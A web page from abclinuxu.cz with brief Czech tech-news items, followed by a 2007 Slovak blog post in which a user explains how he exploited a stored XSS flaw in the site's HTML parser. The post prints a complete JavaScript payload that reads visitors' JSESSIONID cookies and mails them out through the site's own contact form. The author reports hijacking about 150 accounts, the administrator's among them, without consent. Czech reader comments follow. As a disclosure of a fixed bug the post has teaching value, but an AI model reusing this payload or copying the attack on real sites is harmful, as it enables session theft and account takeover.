Dětem začala škola a nedobrovolně se tak musí vzdělávat. Avšak pro dospělé, kteří se chtějí vzdělávat nebo naopak se o vědomosti podělit, je tu Virtuální Bastlírna - jako každý měsíc si můžete online a zdarma nezávazně popovídat o vědě a technice nejen s bastlíři, ale i s vývojáři, vědci nebo profesory. A čemu se strahováci budou věnovat? Blíží se KiCAD 11 s nespočtem novinek, z nichž zde musí zmínit alespoň možnost kótování a závislostí z
… více »Asahi Linux, tj. Linux pro Apple Silicon, oficiálně podporuje čipy M3 (M3, M3 Pro a M3 Max).
Společnost Acer oslavila 50 let. Na tiskové konferenci next@acer představila řadu novinek. Vypíchnout lze přenosný ePaper displej Acer EP130K, přenosné řešení se třemi displeji Acer PD163Q P3 nebo herní handheld a notebook v jednom DualPlay Mini.
Server SiFive BigSky SF-2U870 2U je založený na jádře SiFive P870-D, zatím je naintegrovaných 32 jader 256 GB RAM 2 GHz, škálovat lze do 256 jader na čip. O něco podrobnější popis serveru v článku SiFive BigSky Ships the First RISC-V Server. Is the GPU Head Node the Prize? na futurumgroup.com. Asi ani tento čip nebude na úrovni nejlepších 64-bit ARMů a AMD Zenů, ale splňuje RVA23 specifikaci a je podporovaný Ubuntu 26.04 LTS a RHEL 10. V článku je
… více »Na YouTube lze zhlédnout nový celovečerní dokumentární film The Story of VS Code | Official Documentary věnovaný Visual Studio Code.
Farid Abdelnour se v příspěvku na blogu rozepsal o novinkám v nejnovější verzi 26.08.0 editoru videa Kdenlive (Wikipedie). Ke stažení také na Flathubu.
Byla vydána nová stabilní verze 8.2 webového prohlížeče Vivaldi (Wikipedie). Postavena je na Chromiu 152. Přehled novinek i s náhledy v příspěvku na blogu.
Byla vydána nová stabilní verze 4.0 svobodného multiplatformního softwaru pro editování a nahrávání zvukových souborů Audacity (Wikipedie). S rozhraním přepsaným do Qt. Přehled novinek také na YouTube. Ke stažení je oficiální AppImage. Zatím starší verze Audacity lze instalovat také z Flathubu a Snapcraftu.
NVIDIA kupuje Hugging Face za 12,93 miliardy dolarů.
Včera (23.07.2007) o 10:00 ráno ste určite mnohí narazili na podozrivo vyzerajúci zápis do blogu s názvom KUPUJEM portal abclinuxu.cz. Jednalo sa samozrejme o hoax, za ktorý sa všetkým ospravedlňujem. Nikto síce jeho obsahu príliš neveril, avšak svoj účel splnil - prilákať čo najväčšiu pozornosť. Fakt, že zápis obsahoval zákerný JavaScript, bol pred očami všetkých (alebo väčšiny) návštevníkov skrytý.
XSS je útok založený na schopnosti útočníka vložiť do stránky nejaký kód (HTML, JavaScript prípadne oboje) pomocou speciálne formulovaného linku alebo vstupu do formulára. Veľmi bežným príkladom sú napríklad prihlasovacie formuláre, ktoré sa svojim používateľom snažia veci uľahčiť. Po vložení loginu a hesla a za predpokladu, že heslo nebude správne, nám server vygeneruje formulár s už vyplneným loginom (rovnakým, aký bol zadaný). Formulár by mohol vyzerať napríklad takto:
<form action="login.php" method="post"> <input type="text" name="login" value=""> <input type="password" name="heslo"> <input type="submit" value="Odoslat"> </form>
Ak vstup, v tomto prípade samotný login, nie je korektne ošetrený od tzv. metaznakov (úvodzovky, apostrofy, je väčšie ako, je menšie ako, ...), útočník bude schopný do stránky vložiť svoj kód. Povedzme, že do vyššie uvedeného formulára zadáme do kolonky login tento reťazec (heslo dáme ľubovoľné):
"><script>alert('hack!');</script><q q="
Server, snažiac sa ušetriť nám náš drahocenný čas, vráti prihlasovací formulár a do kolonky login doplní nami zadaný reťazec. Vznikne tým niečo takéto:
<form action="login.php" method="post">
<input type="text" name="login" value=""><script>alert('hack!');</script><q q="">
<input type="password" name="heslo">
<input type="submit" value="Odoslat">
</form>
Pre pochopenie tohto útoku je najskôr potrebné porozumieť spôsobu, akým sa prihlasovanie a následné overovanie používateľov na weboch vykonáva.
Ihneď po prihlásení nejakého používateľa mu server vygeneruje unikátny identifikátor (reťazec náhodných znakov), ktorý zašle naspäť jedným z týchto dvoch spôsobov:
Tento identifikátor (označovaný ako SESSION_ID) sa následne počas trvania sedenia používa ako akési dočasné heslo. Server si ho priradí k určitému používateľovi a _každého_, kto mu tento identifikátor zašle, považuje za daného, autentifikovaného, používateľa a povolí mu prístup na jeho konto už bez ďaľšieho zadávania loginu a hesla. Po odhlásení je SESSION_ID na strane serveru vymazané (a teda už viac nepoužiteľné).
Session hijacking (alebo 'Krádež sedenia') spočíva v zmocnení sa SESSION_ID už prihláseného používateľa. Každý, komu sa to podarí, bude vystupovať ako daný používateľ a to _bez_ nutnosti zadávať login alebo heslo.
Abclinuxu.cz sa proti XSS chráni metódou 'whitelisting': Má zoznam povolených HTML tagov a ku každému zoznam povolených argumentov. Všetko ostatné je zakázané. Jedná sa o najúčinnejšiu, avšak z programátorského hľadiska aj najzložitejšiu metódu - celý vstup je potrebné najskôr rozparsovať a následne odfiltrovať 'to zakázané', pričom treba pamätať na kopu iných detailov a drobností (ktoré sú bohužial/naštastie mimo tohto článku). Práve na spomínanom parsovaní abclinuxu zlyhalo.
Parser sa mi podarilo oklamať týmto HTML kódom:
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="TU BOL JAVASCRIPT">>Poznámka: Obrázok musí odkazovať na existujúci súbor/URL, inak sa obsah argumentu 'onload' nevykoná.
Dôležité sú prvé dva znaky, resp. zdvojenie znaku 'je menšie ako', čo spôsobilo nesprávne vyhodnotenie argumentov tagu <IMG>. SESSION_ID som následne získal takto (na abclinuxu sa ukladá do cookie s názvom 'JSESSIONID'):
var cookie = '';
var part_num = 0;
var cookie_var = document.cookie.split('; ');
while (part_num < cookie_var.length) {
if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') {
cookie = cookie_var[part_num].split('=')[1];
break;
}
part_num += 1;
}
Jediný problém, ktorý som v tejto chvíli musel ešte vyriešiť, bol spôsob 'dopravenia' tohto ID až ku mne. Najskôr som si ho chcel proste zaslat pomocou nejakého môjho skriptu niekde na webe (proste donútiť 'obeť' navštíviť niečo takéto: azuritov_web/skript.php?id=session_id ) avšak aby to bolo úplne transparentné, musel som na to použiť JavaScriptový 'XMLHttpRequest'. Narazil som však na problém: XMLHttpRequest sa bez výslovného povolenia od používateľa (v podobe dialógového okna vysvetlujúceho riziko) nepripojí mimo URL stránky, na ktorej JavaScript beží. Inými slovami, na zaslanie ID som mohol použiť iba skripty, ktoré boli priamo súčasťou abclinuxu. Zameral som sa teda na formulár pre odosielanie mailov, ktorý abclinuxu obsahuje. Je na ňom síce ochrana v podobe nutnosti zadať serverom vygenerovaný kód pred odoslaním mailu, avšak jeho obídenie by zvládlo aj malé dieta. Pod mojími prstami následne vznikol tento kód (trochu skrátený):
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');
xmlhttp.send('');
var pole = xmlhttp.responseText.split(' ');
var kod = '';
var part_num = 0;
while (part_num < pole.length) {
if (pole[part_num] == 'hodnotu') {
kod = pole[part_num+1].substring(0,4);
break;
}
part_num += 1;
}
xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');
xmlhttp.send('');
Najkôr sa pripojím na 'mailový formulár', príjmem HTML stránku vrátenú serverom a následne v nej nájdem overovací kód. Potom ho už len použijem na odoslanie mailu. A ID je moje!
Zápis v blogu som publikoval včera (23.07.2007) o 10:00 ráno pričom doslova ihneď sa mi na maili začali množiť SESSION_ID-čka rôznych ľudí. O cca 10:10 mi došlo ID Roberta Krátkeho (admin, plný prístup) a o 10:30 som JavaScript z blogu odstránil a útok tým ukončil. Ako bonus prikladám obrázky z administračného rozhrania (príloha B). Za týchto 30 minút som sa dostal na kontá cca 150tich ľudí.
Rád by som upozornil, že môj kód v žiadnom prípade nie je dokonalý. Je to prakticky len cca tretí prípad, keby som sa vo svojom živote stretol s JavaScriptom. Odpustite si preto prosím všetky poznámky smerujúce k nemu a prípadne aj jeho opravy/vylepšenia. Ďakujem. Chyba je už v tejto chvíli (dúfajme, že úplne) odstránená a všetci používatelia, ktorí v hore uvedenom čase zápis v blogu otvorili, by sa mali odhlasiť a znovu prihlásiť (vygeneruje sa im tak nové SESSION_ID, staré bude teda už nepoužiteľné).
Nakoniec som sa od Leoša dozvedel, že sa vlastne jednalo o takmer _rok_ starú dieru, ktorej sa zjavne venovalo priliš málo času a postupne upadla do zabudnutia. Viz. bug #544. Chyba sa nenachádzala priamo v abclinuxu ale v knižnici htmlparser (v ktorej bola medzičasom opravená). Leošovi tento 'prešľap' netreba mať za zlé: Má toho naozaj veľa, takže sa ani nečudujem, že sa sem-tam niečo podobné objaví. Hlavne, že sa to dobre skončilo :) .
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="
var kod = '';
var cookie = '';
var xmlhttp = null;
function get_mail_data() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200 && xmlhttp.responseText != null) {
var pole = xmlhttp.responseText.split(' ');
var part_num = 0;
var cookie_var = document.cookie.split('; ');
while (part_num < cookie_var.length) {
if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') {
cookie = cookie_var[part_num].split('=')[1];
break;
}
part_num += 1;
}
part_num = 0;
while (part_num < pole.length) {
if (pole[part_num] == 'hodnotu') {
kod = pole[part_num+1].substring(0,4);
break;
}
part_num += 1;
}
send_cookie();
}
}
function get_mail() {
var failed = false;
try {
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e1) {
try {
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e2) {
xmlhttp = null;
}
}
if (! xmlhttp) {
if (typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest();
} else {
failed = true;
}
}
if (! failed) {
xmlhttp.onreadystatechange = get_mail_data;
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');
xmlhttp.send('');
}
}
function send_cookie() {
var failed = false;
try {
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e1) {
try {
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e2) {
xmlhttp = null;
}
}
if (! xmlhttp) {
if (typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest();
} else {
failed = true;
}
}
if (! failed) {
xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');
xmlhttp.send('');
}
}
get_mail();
">>
Tiskni
Sdílej:
Ale právě proto jsem to formuloval tak, abys mi nemoh vyčítat, že ti něco vyčítám
+1
ze jmena bloku to bylo partné : test2 
Jinak tohle je parádní blog, spíše to beru jako ukázkovou security kapitolu. V porovnání s blogy typu "Zkoušel jsem Gentoo, tak a tak...." je tohle alespoň něco pořádného.
Já bych v blocích psal samí blbosti, tak jsme s tím radči ani nezačal.
ze jmena bloku to bylo partné : test2Co je patrné? Copak nemůže být testovací zápisek v normálním blogu? Je nutné kvůli tomu vytvářet nové konto a k němu nový blog a zasírat tak abclinuxu mrtvými účty?
proste musis sa na nieco stazovat, tak si najdes hocijaku blbost.a) Proč myslíš, že si musím stěžovat? b) Nepovažuji to za blbost, proto o tom mluvím.
keby si chcel, tak to zmazat ide.Ano, technicky to možné je, ale udělat to nemůžeme, protože bychom tím smazali komentáře dalších uživatelů.
na abicku su doslova stovky nepouzivanych kont a urce velka kopa nepouzivanych blogov.A protože jich tu je spousta, tak jeden další už nevadí? Já bych raději, kdyby tu nebyly žádné nepoužívané účty a žádné nepoužívané blogy. Takže mi vadí každý další.
chces mi povedat, ze do majitela kazdeho jedneho z nich si tiez takto 'huboval' ako teraz do mna ? pochybujem o tom..No vidíš, pleteš se. Kdykoliv jsem si všiml, že někdo založil zbytečně nový účet, tak jsem ho na to upozornil a zeptal se, co ho k tomu vedlo. Kdykoliv někdo napíše požadavek, abych nějaké dva účty sloučili a ten starší (ke kterému třeba zapomněl heslo) vymazali, tak se to snažíme udělat. Takže jsem si nezasedl na tebe. Napsal bych to stejně komukoliv jinému - a nebylo by to poprvé.
Pak je tu jeste faktor nevdeku. Nekteri ctenari na chybu upozorni stylem "vy lumpove, nefunguje vam RSS, urcite to delate kvuli reklame". Nebo "pred hodinou jsem vam poslal upozorneni na chybu, ocekaval jsem okamzitou reakci a nic, zjevne je vam to uplne jedno". Pripadne "Proc nezabanujete trolla XY? Urcite to delate kvuli impresim reklame. Neplatite si ho nahodou, aby vam zvysoval navstevnost?". Pak to chce hodne trpelivosti, aby clovek nereagoval podrazdene.
)
Je to takový problém, že někde v DB je pár řádků navíc?Ne. Ale třeba v přehledu všech blogů to už tak jedno není.
kdybyste CHTĚLI, aby to šlo smazat (i přes to, že tam jsou komentáře), tak by to šlo. To víme oba dva.No samozřejmě, že by to technicky šlo. Ale tím bychom smazali komentáře všech těch lidí, kteří na zápisek reagovali - a proto to nemůžeme udělat. To víme oba dva, že? Já nemám nic proti zápisku, odhalení chyby v abíčku, ani proti diskuzi pod tím (naopak to oceňuji a jsem rád, že na to azurit upozornil). Mně vadí jen to, že kvůli tomu byl zbytečně založen další účet a blog.
Nemyslím, že tohle je dobré přirovnání. Hodilo by se spíše něco jako:
"Kdyby každý položil na ulici prázdnou krabici, neměl by je právě orgán k tomu pověřený sebrat a vyhodit?? I kdyby byly plné bordelu."Za předpokladu ignorování ideálního stavu neexistence nežádoucích krabic
neuvedomil si jej mozne nasledky (a vlastne preto jej nevenoval az taku pozornost, aku si 'zasluzila').Což je mimochodem hezký praktický příklad toho, proč raději než si s chybou nejdřív „pohrát“ je lepší nalezenou chybu rovnou oznámit adminovi nebo autorovi, který si asi snáz dovede dát dohromady možné následky. A to teď nemyslím jen tento konkrétní případ, ale obecně.